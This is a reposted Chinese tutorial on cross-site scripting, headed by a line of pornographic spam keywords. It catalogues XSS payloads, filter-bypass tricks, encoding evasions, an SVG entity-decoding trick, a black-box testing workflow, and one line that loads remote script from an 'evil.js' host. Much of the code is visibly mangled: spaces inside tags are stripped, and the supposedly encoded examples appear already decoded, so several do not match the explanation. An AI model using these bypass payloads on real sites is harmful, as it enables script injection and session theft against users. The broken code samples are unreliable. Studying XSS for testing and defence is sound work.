久久国产成人av_抖音国产毛片_a片网站免费观看_A片无码播放手机在线观看,色五月在线观看,亚洲精品m在线观看,女人自慰的免费网址,悠悠在线观看精品视频,一级日本片免费的,亚洲精品久,国产精品成人久久久久久久

分享

學(xué)習(xí)XSS從入門到熟悉 | 前端壹菜鳥

 天使誠 2021-08-14

XSS,,全稱Cross Site Scripting,即跨站腳本攻擊,,是最普遍的Web應(yīng)用安全漏洞,。這類漏洞能夠使得攻擊者嵌入惡意腳本代碼到正常用戶會訪問到的頁面中,,當(dāng)正常用戶訪問該頁面時,則可導(dǎo)致嵌入的惡意腳本代碼的執(zhí)行,,從而達到惡意攻擊用戶的目的,。需要強調(diào)的是,XSS不僅僅限于JavaScript,,還包括flash等其它腳本語言,。根據(jù)攻擊代碼的工作方式,,XSS可以分為反射型的XSS、存儲型的XSS和DOM型的XSS,。

反射型

反射型的XSS是非持久化的,,攻擊者事先制作好攻擊鏈接,需要欺騙用戶自己去點擊鏈接才能觸發(fā)XSS代碼,,但是服務(wù)器中沒有這樣的頁面和內(nèi)容,,一般容易出現(xiàn)在搜索頁面。

存儲型

存儲型的XSS是持久化的,,代碼是存儲在服務(wù)器中的,,如在個人信息或發(fā)表文章等地方,加入代碼,,如果沒有過濾或過濾不嚴,,那么這些代碼將儲存到服務(wù)器中,每當(dāng)有用戶訪問該頁面的時候都會觸發(fā)代碼執(zhí)行,。這種XSS非常危險,,容易造成蠕蟲,大量盜竊cookie,。

DOM型

DOM型的XSS是基于文檔對象模型Document Objeet Model,,DOM)的一種漏洞。DOM是一個與平臺,、編程語言無關(guān)的接口,,它允許程序或腳本動態(tài)地訪問和更新文檔內(nèi)容、結(jié)構(gòu)和樣式,,處理后的結(jié)果能夠成為顯示頁面的一部分,。DOM中有很多對象,其中一些是用戶可以操縱的,,如uRI ,,location,refelTer等,??蛻舳说哪_本程序可以通過DOM動態(tài)地檢查和修改頁面內(nèi)容,它不依賴于提交數(shù)據(jù)到服務(wù)器端,,而從客戶端獲得DOM中的數(shù)據(jù)在本地執(zhí)行,,如果DOM中的數(shù)據(jù)沒有經(jīng)過嚴格確認,就會產(chǎn)生DOM XSS漏洞,。例如服務(wù)器端經(jīng)常使用document.boby.innerHtml等函數(shù)動態(tài)生成html頁面,,如果這些函數(shù)在引用某些變量時沒有進行過濾或檢查,就會產(chǎn)生DOM型的XSS。DOM型XSS可能是存儲型,,也有可能是反射型,。

一些常用的標(biāo)簽與屬性

下面我列舉的標(biāo)簽大部分是可以自動觸發(fā)js代碼的,無需用戶去交互,,大部分情況下我們也是希望是自動觸發(fā)而不是等用戶去觸發(fā),。

scirpt 標(biāo)簽

<script> 標(biāo)簽用于定義客戶端腳本,比如 JavaScript,。

<script>alert(1);</script><script>alert("xss");</script>

img 標(biāo)簽

<img> 標(biāo)簽定義 HTML 頁面中的圖像,。

<imgsrc=1onerror=alert(1);><imgsrc=1onerror=alert("xss");>

input 標(biāo)簽

<input> 標(biāo)簽規(guī)定了用戶可以在其中輸入數(shù)據(jù)的輸入字段。

onfocus 事件在對象獲得焦點時發(fā)生:

<inputonfocus=alert(1);>

競爭焦點,,從而觸發(fā)onblur事件:

<inputonblur=alert(1)autofocus><inputautofocus>

input 標(biāo)簽的 autofocus 屬性規(guī)定當(dāng)頁面加載時 <input> 元素應(yīng)該自動獲得焦點,。可以通過autofocus屬性自動執(zhí)行本身的focus事件,,這個向量是使焦點自動跳到輸入元素上,,觸發(fā)焦點事件,無需用戶去觸發(fā):

<inputonfocus="alert(1);"autofocus>

details 標(biāo)簽

<details> 標(biāo)簽通過提供用戶開啟關(guān)閉的交互式控件,,規(guī)定了用戶可見的或者隱藏的需求的補充細節(jié)。ontoggle 事件規(guī)定了在用戶打開或關(guān)閉 <details> 元素時觸發(fā):

<detailsontoggle=alert(1);>

使用details 標(biāo)簽的 open 屬性觸發(fā)ontoggle事件,,無需用戶去點擊即可觸發(fā):

<detailsopenontoggle=alert(1);>

svg 標(biāo)簽

<svg> 標(biāo)簽用來在HTML頁面中直接嵌入SVG 文件的代碼,。

<svgonload=alert(1);>

select 標(biāo)簽

<select> 標(biāo)簽用來創(chuàng)建下拉列表。

<selectonfocus=alert(1)></select>

通過autofocus屬性規(guī)定當(dāng)頁面加載時元素應(yīng)該自動獲得焦點,,這個向量是使焦點自動跳到輸入元素上,,觸發(fā)焦點事件,無需用戶去觸發(fā):

<selectonfocus=alert(1)autofocus>

iframe 標(biāo)簽

<iframe> 標(biāo)簽會創(chuàng)建包含另外一個文檔的內(nèi)聯(lián)框架,。

<iframeonload=alert(1);></iframe>

video 標(biāo)簽

<video> 標(biāo)簽定義視頻,,比如電影片段或其他視頻流。

<video><sourceonerror=alert(1)>

audio 標(biāo)簽

<audio> 標(biāo)簽定義聲音,,比如音樂或其他音頻流,。

<audiosrc=xonerror=alert(1);>

body 標(biāo)簽

<body> 標(biāo)簽定義文檔的主體。

<bodyonload=alert(1);>

onscroll 事件在元素滾動條在滾動時觸發(fā),。我們可以利用換行符以及autofocus,,當(dāng)用戶滑動滾動條的時候自動觸發(fā),無需用戶去點擊觸發(fā):

<bodyonscroll=alert(1);><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><input autofocus>

textarea 標(biāo)簽

<textarea> 標(biāo)簽定義一個多行的文本輸入控件,。

<textareaonfocus=alert(1);autofocus>

keygen 標(biāo)簽

<keygenautofocusonfocus=alert(1)> //僅限火狐

marquee 標(biāo)簽

<marqueeonstart=alert(1)></marquee> //Chrome不行,,火狐和IE都可以

isindex 標(biāo)簽

<isindextype=imagesrc=1onerror=alert(1)>//僅限于IE

利用 link 遠程包含 JavaScript 文件

<link> 標(biāo)簽定義文檔與外部資源的關(guān)系。在無CSP的情況下才可以使用:

<linkrel=importhref="http://47..72/evil.js">

利用 JavaScript 偽協(xié)議

javascript: 這個特殊的協(xié)議類型聲明了URL的主體是任意的javascript代碼,,它由javascript的解釋器運行,。當(dāng)瀏覽器裝載了這樣的URL時,并不會轉(zhuǎn)向某個URL,而是執(zhí)行這個URL中包含的javascript代碼,,并把最后一條javascript語句的字符串值作為新文檔的內(nèi)容顯示出來,。

a 標(biāo)簽

<ahref="javascript:alert(1);">xss</a>

iframe 標(biāo)簽

<iframesrc=javascript:alert(1);></iframe>

img 標(biāo)簽

<imgsrc=xonerror=alert(1)><imgsrc=javascript:alert(1)>    //IE7以下

form 標(biāo)簽

<formaction="Javascript:alert(1)"><inputtype=submit>

XSS 常見繞過姿勢

null

繞過空格過濾

當(dāng)空格被過濾了時,我們可以用 / 來代替空格:

<img/src="x"/onerror=alert(1);>

也可以:

<img/src="x"onerror=alert(1);>

繞過引號過濾

如果是html標(biāo)簽中,,我們可以不用引號,。如果是在js中,我們可以用反引號代替單雙引號:

<imgsrc=xonerror=alert(`xss`);>

繞過括號過濾

當(dāng)括號被過濾的時候可以使用throw來繞過,。throw 語句用于當(dāng)錯誤發(fā)生時拋出一個錯誤,。

<imgsrc=xonerror="javascript:window.onerror=alert;throw1"><aonmouseover="javascript:window.onerror=alert;throw 1>

繞過關(guān)鍵字過濾

大小寫繞過

<sCRiPt>alert(1);</sCrIpT><ImGsRc=xonerRor=alert(1);>

雙寫繞過

有些waf可能會只替換一次且是替換為空,這種情況下我們可以考慮雙寫關(guān)鍵字繞過

<scrscriptipt>alert(1);</scrscriptipt><imimggsrsrcc=xonerror=alert(1);>

字符串拼接繞過

利用eval()函數(shù)

與PHP的eval()函數(shù)相同,,JavaScript的eval()函數(shù)也可以計算 JavaScript 字符串,,并把它作為腳本代碼來執(zhí)行。

<imgsrc="x"onerror="a='aler';b='t';c='(1)';eval(a+b+c)"><imgsrc="x"onerror="a=`aler`;b=`t`;c='(`xss`);';eval(a+b+c)">// 在js中,,我們可以用反引號代替單雙引號

利用top

<script>top["al"+"ert"](`xss`);</script><script>top["al"+"ert"]("xss");</script>

XSS 輸出點總結(jié)

WAF最大的問題,,在于不知道輸出的位置,導(dǎo)致攻擊者根據(jù)具體環(huán)境以及具體輸出的標(biāo)簽類型便可以繞過,。

輸出在屬性里

例如輸出的位置位于value屬性中:

<inputvalue="[輸出]"type=text>

我們可以選擇直接閉合標(biāo)簽:

"><img src=x onerror=alert(1);>// 輸出后如下:// <input value=""><img src=x onerror=alert(1);>" type=text>

如果 < > 被過濾的話可以換成選擇使用事件來閉合屬性,,并將后面的引號注釋掉或閉合:

" autofocus onfocus=alert(1)//" autofocus onfocus=alert(1) "// 輸出后如下:// <input value="" autofocus onfocus=alert(1)//" type=text>

同樣還有很多其他的payload:

" onmouseover=prompt(0) x="" onfocusin=alert(1) autofocus x="" onfocusout=alert(1) autofocus x="" onblur=alert(1) autofocus a="

還有一些特殊的場景,如:

<inputtype="hidden"value="[輸出]"/><inputvalue="[輸出點]"type="hidden"/>

這里只能把input標(biāo)簽閉合,,然后直接執(zhí)行腳本,,否則會因為type為hidden導(dǎo)致無法執(zhí)行腳本。

輸出在HTML標(biāo)簽之間

例如輸出的位置如下:

<divid="body">[輸出]</div>

直接提交 <script>alert(1)</script> 即可觸發(fā)XSS,,但是當(dāng)標(biāo)簽是不能執(zhí)行腳本的標(biāo)簽時,,如下面這幾個:

·<title></title>·<textarea></textarea>·<xmp></xmp>·<iframe></iframe>

那么就得先把那個標(biāo)簽閉合(后文會講到原理),然后在注入XSS語句,,例如:

</textarea><script>alert(1)</script>

輸出在script標(biāo)簽之間

例如:

<script>var x ="input";</script>

可控位置在input,,可以閉合script標(biāo)簽插入代碼,但是同樣我們僅僅閉合雙引號就可以執(zhí)行js代碼了:

";alert(1)//// 輸出后如下:// <script>var x = "";alert(1)//";</script>

XSS 字符編碼繞過

在XSS中,,還有一個繞過關(guān)鍵字過濾的方法,,那就是字符編碼繞過。這里給出一個編碼網(wǎng)站:https://bianma./

編碼屬于計算機系統(tǒng)的基礎(chǔ)知識,,其內(nèi)容寫起來估計也可以出本書了,,不過或多或少我們都有所了解,總的來說,,編碼就是將字符變?yōu)槎M制數(shù),,而解碼就是將二進制數(shù)還原為字符。從瀏覽器請求url到在頁面上顯示出來也經(jīng)歷了一些編碼和解碼過程,,下面大概介紹一下流程,。

請求網(wǎng)頁解碼流程

·HTML 編碼/解碼

當(dāng)瀏覽器接收到服務(wù)端發(fā)送來的二進制數(shù)據(jù)后,,首先會對其進行HTML解碼,呈現(xiàn)出來的就是我們看到的源代碼,。具體的解碼方式依具體情況而定,,所以我們需要在頁面中指定編碼,防止瀏覽器按照錯誤的方式解碼,,造成亂碼,。

但是在HTML中有些字符是和關(guān)鍵詞沖突的,比如 <,、>,、&,解碼之后,,瀏覽器會誤認為它們是HTML標(biāo)簽,,如果希望正確地顯示預(yù)留字符,就需要在HTML中使用對應(yīng)的HTML字符實體,。

字符實體是一個轉(zhuǎn)義序列,,它定義了一般無法在文本內(nèi)容中輸入的單個字符或符號。一個字符實體以一個&符號開頭,,后面跟著一個預(yù)定義的實體的名稱,,或用&#開頭+實體編號+分號來表示。

常見的HTML字符實體有:
顯示結(jié)果描述實體名稱實體編號
空格 `` <小于號<``<>大于號>``>&和號&``&“引號"``"'撇號'(IE不支持)'
但并不是所有的字符都有實體名稱,,但是它們都有自己的實體編號,。

一個HTML解析器作為一個狀態(tài)機,它從輸入流中獲取字符并按照轉(zhuǎn)換規(guī)則轉(zhuǎn)換到另一種狀態(tài),。在解析過程中,任何時候它只要遇到一個 < 符號(后面沒有跟 /符號)就會進入 標(biāo)簽開始狀態(tài)(Tag open state) ,,然后轉(zhuǎn)變到 標(biāo)簽名狀態(tài)(Tag name state) ,、 前屬性名狀態(tài)(before attribute name state) ……最后進入 數(shù)據(jù)狀態(tài)(Data state) 并釋放當(dāng)前標(biāo)簽的token。當(dāng)解析器處于 數(shù)據(jù)狀態(tài)(Data state) 時,,它會繼續(xù)解析,,每當(dāng)發(fā)現(xiàn)一個完整的標(biāo)簽,就會釋放出一個token,。

簡單的說就是,,瀏覽器對HTML解碼之后就開始解析HTML文檔,將眾多標(biāo)簽轉(zhuǎn)化為內(nèi)容樹中的DOM節(jié)點,,此時識別標(biāo)簽的時候,,HTML解析器是無法識別那些被實體編碼的內(nèi)容的,只有建立起DOM樹,,才能對每個節(jié)點的內(nèi)容進行識別,,如果出現(xiàn)實體編碼,,則會進行實體解碼,只要是DOM節(jié)點里屬性的值,,都可以被HTML編碼和解析,。

所以在PHP中,使用htmlspecialchars()函數(shù)把預(yù)定義的字符轉(zhuǎn)換為HTML實體,,只有等到DOM樹建立起來后,,才會解析HTML實體,起到了XSS防護作用,。

·URL 解碼

URL編碼是為了允許URL中存在漢字這樣的非標(biāo)準(zhǔn)字符,,本質(zhì)是把一個字符轉(zhuǎn)為%加上UTF-8編碼對應(yīng)的16進制數(shù)字。所以又稱之為Percent-encoding,。

在服務(wù)端接收到請求時,,會自動對請求進行一次URL解碼。

·JavaScript 解碼(只支持Unicode)

當(dāng)HTML解析產(chǎn)生DOM節(jié)點后,,會根據(jù)DOM節(jié)點來做接下來的解析工作,,比如在處理諸如 <script><style> 這樣的標(biāo)簽時,,解析器會自動切換到JavaScript解析模式,,而 srchref 后邊加入的 javascript 偽URL,,也會進入 JavaScript 的解析模式,。

比如 <a href="javascript:alert('\u0031')">test</a>,JavaScript 出發(fā)了 JavaScript 解釋器,,JavaScript 會先對內(nèi)容進行解析,,里邊有一個轉(zhuǎn)義字符\u0031,前導(dǎo)的 u 表示他是一個unicode 字符,,根據(jù)后邊的數(shù)字,,解析為“1”,于是在完成 JavaScript 的解析之后變成了 <a href="javascript:alert('1')">test</a>,。

下面用一個普通的XSS代碼來說明一下瀏覽器對其解析的過程,。

·<a href="javascript:alert('xss')">test</a>

首先HTML解析器開始工作,并對href中的字符做HTML解碼,,接下來URL解析器對href值進行解碼,,正常情況下URL值為一個正常的URL鏈接,如:https://www.baidu.com,,那么URL解析器工作完成后是不需要其他解碼的,,但是該環(huán)境中URL資源類型為Javascript,因此該環(huán)境中最后一步Javascript解析器還會進行解碼操作,,最后解析的腳本將被執(zhí)行,。

整個解析順序為3個環(huán)節(jié):HTML解碼 —>URL解碼 —>JS解碼

我們可以對XSS攻擊向量做這三種編碼都可以成功彈框,。

HTML 實體編碼

我們可以將DOM節(jié)點中的內(nèi)容轉(zhuǎn)化為HTML實體,因為解析HTML之后建立起節(jié)點,,然后會對DOM節(jié)點里面的HTML實體進行解析,。HTML 編碼主要分為10進制和16進制,格式為以 &# 開頭以分號 ; 結(jié)尾(也可以不帶分號),。

·<a href=javascript:alert("xss")>test</a>

// 十進制<ahref=javascript:alert("xss")>test</a>// 十六進制<ahref=javascript:alert("xss")>test</a>// 也可以不帶分號<ahref=javascript:alert("xss")>test</a>

·<img src=x onerror=alert("xss")>

// 十進制<imgsrc=xonerror=alert("xss")>// 十六進制<imgsrc=xonerror=alert("xss")>// 也可以不帶分號<imgsrc=xonerror=alert("xss")>

但是要注意,,對于HTML字符實體,并不是說任何地方都可以使用實體編碼,,只有處于 “數(shù)據(jù)狀態(tài)中的字符引用”,、“屬性值狀態(tài)中的字符引用” 和 “RCDATA狀態(tài)中的字符引用” 這三種狀態(tài)中的HTML字符實體將會從 &#… 形式解碼,轉(zhuǎn)化成對應(yīng)的解碼字符并被放入數(shù)據(jù)緩沖區(qū)中,。

(1)數(shù)據(jù)狀態(tài)中的字符引用:數(shù)據(jù)狀態(tài)就是解析一個標(biāo)簽內(nèi)里面的內(nèi)容,,如 <div>...</div> 中的內(nèi)容,當(dāng)瀏覽器解析完 <div> 標(biāo)簽之后如果發(fā)現(xiàn)標(biāo)簽內(nèi)還含有實體字符的話,,就會有一個實體編碼解析了,,如:

<div><imgsrc=xonerror=alert("xss")></div>

如下圖,此時在頁面上顯示的是經(jīng)過轉(zhuǎn)義的內(nèi)容:
nullimage-20210202191314434
這看上去是一個標(biāo)準(zhǔn)的標(biāo)簽語言,,但并不會觸發(fā)xss,,因為當(dāng)前HTML解析器處于“數(shù)據(jù)狀態(tài)”,不會轉(zhuǎn)換到“標(biāo)簽開始狀態(tài)”,,所以就不會建立新的標(biāo)簽,。因此,我們能夠利用字符實體編碼這個行為來轉(zhuǎn)義用戶輸入的數(shù)據(jù)從而確保用戶輸入的數(shù)據(jù)只能被解析成“數(shù)據(jù)”而不是XSS攻擊向量,。

(2)屬性值狀態(tài)中的字符引用:屬性值狀態(tài)中的字符引用就好理解了,,就是src,herf這樣的屬性值中的HTML實體,,他也是會先進行HTML解碼的,,比如下面的語句,會先對里面HTML解碼,,然后再繼續(xù)往下執(zhí)行:

<ahref=javascript:alert("xss")>test</a>

(3)RCDATA狀態(tài)中的字符引用:然后再來看一下什么是RCDATA轉(zhuǎn)態(tài),這里需要我們先了解一下HTML中有五類元素:

1.空元素(Void elements),,如 <area>,、<br><base> 等等,??赵夭荒苋菁{任何內(nèi)容,因為它們沒有閉合標(biāo)簽,,沒有內(nèi)容能夠放在開始標(biāo)簽和閉合標(biāo)簽中間,。2.原始文本元素(Raw text elements),,有 <script><style>。原始文本元素可以容納文本,。3.RCDATA元素(RCDATA elements),,有 <textarea><title>。RCDATA元素可以容納文本和字符引用,。4.外部元素(Foreign elements),,例如MathML命名空間或者SVG命名空間的元素。外部元素可以容納文本,、字符引用,、CDATA段、其他元素和注釋,。5.基本元素(Normal elements),,即除了以上4種元素以外的元素?;驹乜梢匀菁{文本,、字符引用、其他元素和注釋,。

注意到RCDATA元素中有 <textarea><title> 兩個屬性并且有字符引用,,也就是當(dāng)實體字符出現(xiàn)在這兩個標(biāo)簽里面的時候,實體字符會被識別并進行HTML編碼解析,。這里要再提醒一次,,在解析這些字符引用的過程中不會進入“標(biāo)簽開始狀態(tài)”,所以就不會建立新的標(biāo)簽,,所以下面這個語句觸發(fā)不了XSS:

<textarea><script>alert("xss")</script></textarea>

nullimage-20210202194554798
但是如果直接放進去標(biāo)簽的內(nèi)容呢,,不帶轉(zhuǎn)義字符呢,如下:

<textarea><script>alert("xss")</script></textarea>

同樣也是不會觸發(fā)XSS的:
image-20210202194424551
這涉及到了RCDATA的一個特殊的情況,。即在瀏覽器解析RCDATA元素的過程中,,解析器會進入“RCDATA狀態(tài)”。在這個狀態(tài)中,,如果遇到“<”字符,,它會轉(zhuǎn)換到“RCDATA小于號狀態(tài)”。如果“<”字符后沒有緊跟著“/”和對應(yīng)的標(biāo)簽名,,解析器會轉(zhuǎn)換回“RCDATA狀態(tài)”,,并不會進入“標(biāo)簽開始狀態(tài)”的。這意味著在RCDATA元素標(biāo)簽的內(nèi)容中,,唯一能夠被解析器認做是標(biāo)簽的就只有 </textarea> 或者 </title>,,因此,在 <textarea><title> 的內(nèi)容中不會創(chuàng)建標(biāo)簽,,就不會有腳本能夠執(zhí)行了,。

另外還有一點要注意:我們從上面HTML的五類元素中還發(fā)現(xiàn)有一個原始文本元素 <script> 在這個標(biāo)簽內(nèi)容納的是文本,,所以瀏覽器在解析到這個標(biāo)簽后,里面內(nèi)容中的HTML編碼并不會被認為是HTML實體引用,,所以并不會被解碼為相應(yīng)的字符,。瀏覽器看不懂中間這堆編碼是和啥東西,所以也不會被執(zhí)行,,如下:

<script>alert("xss")</script>

nullimage-20210202194716116
那么如何才能讓里面的內(nèi)容進行轉(zhuǎn)義并執(zhí)行彈窗呢,,這里需要利用到XSS的一個黑魔法——“svg”,我們下文中會提及,。

URL編碼

我們可以并將src或href屬性中的內(nèi)容進行URL編碼,,當(dāng)HTML解析器對src或href中的字符完成HTML解碼后,接下來URL解析器會對src或href中的值進行URL解碼,。

<ahref="...">xx</a><iframesrc="...">

下面給出幾個實例,。

·<a href=javascript:alert("xss")>test</a>

<ahref=javascript:%61%6c%65%72%74%28%22%78%73%73%22%29>test</a>

·<iframe src=javascript:alert("xss")></iframe>

<iframesrc="javascript:%61%6c%65%72%74%28%22%78%73%73%22%29"></iframe>

注意,偽協(xié)議頭 javascript: 是不能進行編碼的,。這里就有一個URL解析過程中的一個細節(jié)了,,即不能對協(xié)議類型進行任何的編碼操作,否則URL解析器會認為它無類型,,就會導(dǎo)致DOM節(jié)點中被編碼的“javascript”沒有被解碼,,當(dāng)然不會被URL解析器識別了。就比如說 http://www.baidu.com 可以被URL編碼為 http://%77%77%77%2e%62%61%69%64%75%2e%63%6f%6d,,但是不能把協(xié)議也進URL編碼:%68%74%74%70%3a%2f%2f%77%77%77%2e%62%61%69%64%75%2e%63%6f%6d ,。

但是偽協(xié)議頭 javascript: 可以進行HTML編碼。

Javascript 編碼

我們可以將DOM節(jié)點中的內(nèi)容轉(zhuǎn)化為 Javascript 編碼,。當(dāng)HTML解析產(chǎn)生DOM節(jié)點后,,會根據(jù)DOM節(jié)點來做接下來的解析工作,比如在處理諸如 <script>,、<style> 這樣的標(biāo)簽時,,解析器會自動切換到JavaScript解析模式,而 src,、 href 后邊加入的 javascript 偽URL,,也會進入 JavaScript 的解析模式。

Javascript 中可以識別的編碼類型有:

·Unicode 編碼·八進制編碼·十六進制編碼

一般情況下我們使用Unicode編碼的比較廣泛,,而八進制和十六進制只有在DOM環(huán)境或eval()等函數(shù)中才可以用,。

Unicode 編碼

·<script>alert("xss")</script>

<script>\u0061\u006C\u0065\u0072\u0074("xss")</script><script>\u0061\u006C\u0065\u0072\u0074("\u0078\u0073\u0073")</script>

·<a href=javascript:alert("xss")>test</a>

<ahref=javascript:\u0061\u006C\u0065\u0072\u0074("xss")>test</a><ahref=javascript:\u0061\u006C\u0065\u0072\u0074("\u0078\u0073\u0073")>test</a>

但要注意,我們同樣也不能對偽協(xié)議頭 javascript: 進行 Javascript 編碼,。并且像圓括號、雙引號,、單引號這樣的符號我們也不能進 Javascript 編碼,,但是能進行HTML編碼,。

在DOM環(huán)境中的JavaScript編碼

對于八進制編碼和十六進制編碼,與 Unicode 編碼還是有區(qū)別,,像下面的XSS向量是不能直接執(zhí)行的:

·<script>alert("xss")</script>

<script>\141\154\145\162\164("xss")</script>

·<a href=javascript:alert("xss")>test</a>

<ahref=javascript:\x61\x6c\x65\x72\x74("xss")>test</a>

如下圖,,插入之后沒有任何反應(yīng):
nullimage-20210202160311365nullimage-20210202160525348
要想讓他們能夠執(zhí)行我們要將他們放在DOM環(huán)境中,即DOM型的XSS,。

測試代碼:

<divid='s'>test</div><script>var search ="...";    document.getElementById('s').innerHTML = search;</script>

以上情況很多都是出現(xiàn)在你搜索后,,顯示你所查詢的關(guān)鍵字,變量 search 是一個可控點,,當(dāng)我們查詢一個XSS攻擊向量后,,變量 search 就會被賦值為這個XSS向量,從而插入到div標(biāo)簽中觸發(fā)XSS,,如下所示:

<divid='s'>test</div><script>var search ="<iframe src=javascript:alert('xss')></iframe>";    document.getElementById('s').innerHTML = search;</script>

nullimage-20210202163852523
此時如果過濾了 <,、>',、",、&% 等等這些字符的話,,我們便可以用JavaScript編碼的方法將XSS向量全部編碼,,即 <iframe src=javascript:alert('xss')></iframe> 的以下編碼都可以彈窗:

// Unicode編碼\u003C\u0069\u0066\u0072\u0061\u006D\u0065\u0020\u0073\u0072\u0063\u003D\u006A\u0061\u0076\u0061\u0073\u0063\u0072\u0069\u0070\u0074\u003A\u0061\u006C\u0065\u0072\u0074\u0028\u0027\u0078\u0073\u0073\u0027\u0029\u003E\u003C\u002F\u0069\u0066\u0072\u0061\u006D\u0065\u003E// 八進制編碼\74\151\146\162\141\155\145\40\163\162\143\75\152\141\166\141\163\143\162\151\160\164\72\141\154\145\162\164\50\47\170\163\163\47\51\76\74\57\151\146\162\141\155\145\76// 十六進制編碼\x3c\x69\x66\x72\x61\x6d\x65\x20\x73\x72\x63\x3d\x6a\x61\x76\x61\x73\x63\x72\x69\x70\x74\x3a\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29\x3e\x3c\x2f\x69\x66\x72\x61\x6d\x65\x3e

image-20210202163825646
還有一種讓八進制和十六進制編碼的XSS攻擊向量執(zhí)行的方式便是將XSS向量放在某個能把字符串當(dāng)做JavaScript代碼來執(zhí)行的函數(shù)里,比如eval(),、setTimeout(),、setInterval()等函數(shù)。如下示例:

·<script>alert("xss")</script>

<script>eval("\141\154\145\162\164\50\42\170\163\163\42\51")</script>

·<a href=javascript:alert("xss")>test</a>

<ahref=javascript:eval("\x61\x6c\x65\x72\x74\x28\x22\x78\x73\x73\x22\x29")>test</a>

·<img src=x onerror=alert("xss")>

<imgsrc=xonerror=eval('\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29')>

或者也可以直接將一整段js代碼編碼后放入eval()函數(shù)中執(zhí)行,。

混合編碼

混合編碼就是對一個XSS向量同時進行多種編碼,,如下示例:

·<a href=javascript:alert("xss")>test</a>

// 對javascript:進行HTML編碼, 對alert("xss")進行URL編碼<ahref=javascript:%61%6c%65%72%74%28%22%78%73%73%22%29>test</a>// 對javascript:進行HTML編碼, 對alert進行Unicode編碼<ahref=javascript:\u0061\u006C\u0065\u0072\u0074("xss")>test</a>

也可以利用解碼順序進行混合編碼,如下示例:

·<a href=javascript:alert("xss")>test</a>

首先對“alert”進行JavaScript Unicode編碼:

<ahref=javascript:\u0061\u006C\u0065\u0072\u0074("xss")>test</a>

然后再對 \u0061\u006c\u0065\u0072\u0074 進行URL編碼:

<ahref=javascript:%5c%75%30%30%36%31%5c%75%30%30%36%63%5c%75%30%30%36%35%5c%75%30%30%37%32%5c%75%30%30%37%34("xss")>test</a>

最后對標(biāo)簽中的 javascript:%5c%75...%37%34("xss") 整體進行HTML編碼即可:

<ahref=javascript:%5c%75%30%30%36%31%5c%75%30%30%36%63%5c%75%30%30%36%35%5c%75%30%30%37%32%5c%75%30%30%37%34("xss")>test</a>

SVG:XSS的一個黑魔法

我們在上文HTML編碼那里最后留了一個坑,,即HTML的五類元素中,,像 <script><style> 這樣的原始文本元素在這個標(biāo)簽內(nèi)容納的是文本,,所以瀏覽器在解析到這個標(biāo)簽后,,里面內(nèi)容中的HTML編碼并不會被認為是HTML實體引用,所以并不會被解碼為相應(yīng)的字符,。

也就是說,,向下面這樣的代碼,瀏覽器不會對其中的HTML實體字符進行解碼,,也就不會執(zhí)行并觸發(fā)XSS了:

<script>alert("xss")</script><script>alert(1)</script><script>alert(1)</script>

那如何繞過HTML原始文本元素進而執(zhí)行HTML實體解碼呢,,這涉及到了 <svg> 的魔力,那是一種特殊的觸發(fā)效果,單純script標(biāo)簽內(nèi)加載html實體編碼,,只會當(dāng)做文本,,沒有任何觸發(fā)結(jié)果,如下圖:
nullimage-20210202201352827
但是當(dāng)在前面加上 <svg> 后,,卻成功彈窗了:

<svg><script>alert("xss")</script><svg><script>alert(1)</script><svg><script>alert(1)</script>

nullimage-20210202200455541
這是為什么呢,?

是因為 <svg> 標(biāo)簽屬于HTML五大元素中的外部元素,可以容納文本,、字符引用,、CDATA段、其他元素和注釋,,也就是說在解析到<svg> 標(biāo)簽時,,瀏覽器就開始使用一套新的標(biāo)準(zhǔn)開始解析后面的內(nèi)容,直到碰到閉合標(biāo)簽</svg>,。而在這一套新的標(biāo)準(zhǔn)遵循XML解析規(guī)則,,在XML解析中,實體編碼會自動解碼成相應(yīng)的字符,,重新來一遍標(biāo)簽開啟狀態(tài),,此時就會執(zhí)行XSS了。如下圖,,彈窗后我們查看頁面源碼,。發(fā)現(xiàn)原本不能被HTML解碼的內(nèi)容被 <svg> 標(biāo)簽自動解碼了:
nullimage-20210202200943830
[CISCN2019 華東北賽區(qū)]Web2 這道題運用的就是這個知識點。

XSS 測試流程思路

下面讓我們來看一下XSS繞過的測試流程,。

現(xiàn)實中,,大多數(shù)的場所是用的黑名單來做XSS過濾器的,有三種方式繞過黑名單的測試:

1.暴力測試(輸入大量的payload,,看返回結(jié)果)2.根據(jù)正則推算3.利用瀏覽器bug

初步測試

(1)嘗試插入比較正常的HTML標(biāo)簽,,例如:<a><b>,、<i>,、<u> 等,來看一下返回頁面的情況是怎樣的,,是否被HTML編碼了,,或者標(biāo)簽被過濾了。

(2)嘗試插入不閉合的標(biāo)簽,,例如:<a,、<bi>,、u>,、<img 等,然后看一下返回響應(yīng),是否對開放的標(biāo)簽也有過濾,。

(3)然后測試幾種常見的XSS向量:

<script>alert(1)</script><script>prompt(1)</script><script>confirm(1)</script>......

看返回響應(yīng),,是過濾的全部,還是只過濾了部分,,是否還留下了 alert、prompt,、confirm 等字符,,再嘗試大小寫的組合:

<scRiPt>alert(1);</scrIPt>

(4)如果過濾器僅僅是把 <script></script> 標(biāo)簽過濾掉,那么可以用雙寫的方式來繞過:

<scr<script>ipt>alert(1)</scr<script>ipt>

這樣當(dāng) <script> 標(biāo)簽被過濾掉后,,剩下的組合起來剛好形成一個完整的向量,。

(5)用 <a href 標(biāo)簽來測試,看返回響應(yīng)

<ahref="http://www.baidu.com">click</a>

看看 <a 標(biāo)簽是否被過濾,,href 是否被過濾,,href里的數(shù)據(jù)是否被過濾了。如果沒有數(shù)據(jù)被過濾,,插入javascript偽協(xié)議看看:

<ahref="javascript:alert(1)">click</a>

看是否返回錯誤,,javascript的整個協(xié)議內(nèi)容是否都被過濾掉,還是只過濾了javascript字符,。

繼續(xù)測試事件觸發(fā)執(zhí)行javascript:

<ahref=xonmouseover=alert(1)>ClickHere</a>

看onmouseover事件是否被過濾,。

測試一個無效的事件,看看他的過濾規(guī)則:

<ahref=xonclimbatree=alert(1)>ClickHere</a>

是完整的返回了呢,,還是跟onmouseover一樣被干掉了,。如果是完整的返回的話,那么就意味著,,做了事件的黑名單,,但是在HTML5中,有超過150種的方式來執(zhí)行javascript代碼的事件,,我們可以選用別的事件,。測試一個很少見的事件:

<bodyonhashchange=alert(1)><ahref=#>click</a>

